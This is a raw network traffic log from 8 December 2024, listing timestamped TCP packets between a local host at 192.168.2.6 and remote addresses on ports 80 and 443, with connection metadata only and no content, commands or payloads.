Dec 8, 2024 17:45:16.689690113 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.690309048 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.690361023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.690365076 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.690372944 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.690395117 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.690409899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.691135883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.691148043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.691159010 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.691193104 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.691219091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.691932917 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.691972017 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.691981077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.691983938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.692009926 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.692024946 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.692714930 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.692761898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.701836109 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.701908112 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.701957941 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.702203989 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.702218056 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.702231884 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.702236891 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.706690073 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.706720114 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.706789970 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.706957102 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.706968069 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.740870953 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.740947962 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.740961075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.741028070 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.741115093 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.741182089 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.741199970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.741225958 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.741249084 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.741611958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.741653919 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.741676092 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.741688013 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.741722107 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.742367983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.742388010 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.742398024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.742429018 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.742443085 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.742922068 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.742961884 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.742964029 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.742975950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.743000031 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.743019104 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.743624926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.743649006 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.743659973 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.743691921 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.743720055 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.744457960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.744508028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.744519949 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.744560957 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.745208025 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.745237112 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.745249033 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.745299101 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.745881081 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.745922089 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.745925903 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.745934963 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.745953083 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.745968103 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.746740103 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.746752977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.746762991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.746790886 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.746815920 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.747540951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.747584105 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.747595072 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.747612953 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.747705936 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.748336077 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.748349905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.748362064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.748390913 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.748390913 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.749032021 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.749085903 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.749110937 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.749294996 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:18.189186096 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.189215899 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.189273119 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.189424992 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.189431906 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.189477921 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.189582109 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.189630032 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.189680099 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.189887047 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.189894915 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.189949989 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.191535950 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.191548109 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.191736937 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.191741943 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.191943884 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.191958904 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.192188978 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:18.192203045 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:18.223196983 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.223640919 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.223650932 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.224381924 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.254018068 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.254049063 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.254587889 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.254592896 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.255222082 CET	49724	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.255239964 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.255984068 CET	49724	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.255990028 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.256779909 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.256805897 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.257528067 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.257533073 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.257836103 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.257870913 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.258327961 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.258333921 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.425194025 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.428632975 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.428656101 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.429160118 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.429164886 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.656738997 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.656810999 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.656862974 CET	49724	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.657267094 CET	49724	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.657267094 CET	49724	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.657286882 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.657295942 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.658210039 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.658273935 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.658355951 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.658490896 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.658509970 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.658521891 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.658528090 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.658746004 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.658804893 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.658849001 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.659996986 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.660010099 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.660022020 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.660027981 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.660640955 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.660717964 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.660764933 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.661387920 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.661413908 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.662713051 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.662749052 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.662811995 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.663614988 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.663626909 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.664196014 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.664235115 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.664314032 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.664480925 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.664496899 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.664763927 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.664773941 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.664830923 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.664983034 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.664990902 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.665636063 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.665646076 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.665740967 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.665868998 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.665880919 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.861327887 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.861381054 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.861490965 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.861787081 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.861797094 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.861810923 CET	49726	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.861814976 CET	443	49726	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.865345955 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.865374088 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:18.865447998 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.865864992 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:18.865875959 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:19.882426023 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.882833004 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.882858038 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.883326054 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.883585930 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.883599043 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.883904934 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.884026051 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.884103060 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.884651899 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.884948969 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.884948969 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.884958029 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.885555029 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.885555029 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.885570049 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.885618925 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.885891914 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.885957003 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.885965109 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.886051893 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.886051893 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.886061907 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.886424065 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.886424065 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.886435032 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.886488914 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.889834881 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.890160084 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.890168905 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.891269922 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.891510010 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.891882896 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.891882896 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.891951084 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.935782909 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.935782909 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.935798883 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.935830116 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.935836077 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.935854912 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.935873032 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:19.983031034 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.983035088 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:19.983035088 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.181759119 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.181837082 CET	443	49727	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.181901932 CET	49727	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.387355089 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.388029099 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.388047934 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.388112068 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.388318062 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.388639927 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.388647079 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.388972044 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.388979912 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.389261961 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.389405966 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.389410973 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.389520884 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.389553070 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.390391111 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.390396118 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.391170025 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.391175985 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.391582966 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.391587973 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.477950096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:20.478008986 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:20.580441952 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.581127882 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.581147909 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.581664085 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.581669092 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.724040031 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.724348068 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.724445105 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.727504015 CET	49729	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.727523088 CET	443	49729	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.737682104 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.737822056 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.737871885 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.738894939 CET	49728	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.738907099 CET	443	49728	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.741193056 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.741244078 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.741286993 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.741290092 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.741300106 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.741339922 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.741347075 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.754200935 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.754250050 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.754277945 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.754286051 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.754328012 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.760719061 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.767868042 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.767951965 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.767960072 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.813611984 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.823860884 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.823923111 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.823997974 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.824240923 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.824265957 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.824276924 CET	49739	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.824285030 CET	443	49739	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825422049 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825429916 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825479031 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825493097 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825529099 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.825548887 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.825680017 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.825685024 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825709105 CET	49737	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.825714111 CET	443	49737	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825818062 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.825818062 CET	49738	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.825830936 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.825839996 CET	443	49738	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.826740026 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.826821089 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.826872110 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.827841997 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.827847004 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.827857971 CET	49736	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.827862024 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.827863932 CET	443	49736	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.827893972 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.827955008 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.828301907 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.828315020 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.829734087 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.829768896 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.829858065 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.829969883 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.829987049 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.830069065 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.830085993 CET	443	49744	13.107.246.63	192.168.2.6
